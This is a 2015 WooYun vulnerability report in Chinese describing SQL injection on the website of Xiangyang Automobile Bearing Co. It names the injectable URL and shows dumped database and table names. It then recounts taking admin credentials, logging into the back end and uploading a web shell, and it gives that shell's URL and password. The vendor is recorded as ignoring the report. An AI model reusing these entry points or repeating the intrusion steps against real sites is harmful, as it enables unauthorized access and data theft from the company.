漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-0118018
漏洞标题：襄阳汽车轴承股份有限公司主站存在sql注入(webshell)
相关厂商：襄阳汽车轴承股份有限公司
漏洞作者： 水晶
提交时间：2015-06-04 09:18
修复时间：2015-06-09 09:20
公开时间：2015-06-09 09:20
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：20
漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-06-04： 细节已通知厂商并且等待厂商处理中
2015-06-09： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
RT
详细说明：
注入点：http://www.zxy.com.cn/newslist.aspx?id=2013091217131775
漏洞证明：
注入点：http://www.zxy.com.cn/newslist.aspx?id=2013091217131775
available databases [67]:
[*] a0308104459
[*] a0314111635
[*] a0317171945
[*] a04022244201
[*] a0416142550
[*] a0418145940
[*] a0422223909
[*] a0423142814
[*] a0514203847
[*] a0527211129
[*] a0529181058
[*] a0606170529
[*] a0612112858
[*] a0707223727
[*] a0714100139
[*] a0803085323
[*] a0809150213
[*] a0816174340
[*] a0928131846
[*] a1105143059
[*] a1109112403
[*] a1113102009
[*] a1114031656
[*] a12012229529
[*] a1222085547
[*] a1224165340
[*] ccadmin123
[*] cjxx123
[*] else51811
[*] eszyit1
[*] fayuesi1
[*] finder
[*] frbsc
[*] FreeHost
[*] gfsoso1
[*] gfsoso2
[*] gztcs1
[*] gztkj9
[*] hbxyzcjt
[*] ja027
[*] javassj
[*] jeenliu123
[*] jzxxkjms
[*] ksound
[*] master
[*] mengxingkong
[*] mix2admin01
[*] model
[*] msdb
[*] piao2
[*] songyu
[*] sszjn16
[*] tempdb
[*] tt520
[*] utstart
[*] viviansj
[*] wh6388598
[*] whcsjsxy
[*] whlglxs
[*] whljhgs
[*] whtjjnw
[*] wuhanfinder
[*] wwwly2
[*] xuanpiaowang
[*] zhwwz123
[*] zs828918791
current database: 'hbxyzcjt'
Database: hbxyzcjt
[9 tables]
+------------+
| C_Article |
| C_Class |
| C_Comment |
| C_Message |
| C_Purview |
| C_User |
| C_UserInfo |
| Table_1 |
| Table_2 |
+------------+
后台：http://www.zxy.com.cn/webadmin/login.aspx
在C_UserInfo表中找到账号密码，成功进入后台
找上传拿shell
小马不行，试试大马。
http://www.zxy.com.cn/Attachment/201506/201506031657097293.aspx 密码:admin
成功wehshell
修复方案：
版权声明：转载请注明来源 水晶@乌云
漏洞回应
厂商回应：
危害等级：无影响厂商忽略
忽略时间：2015-06-09 09:20
厂商回复：
最新状态：
暂无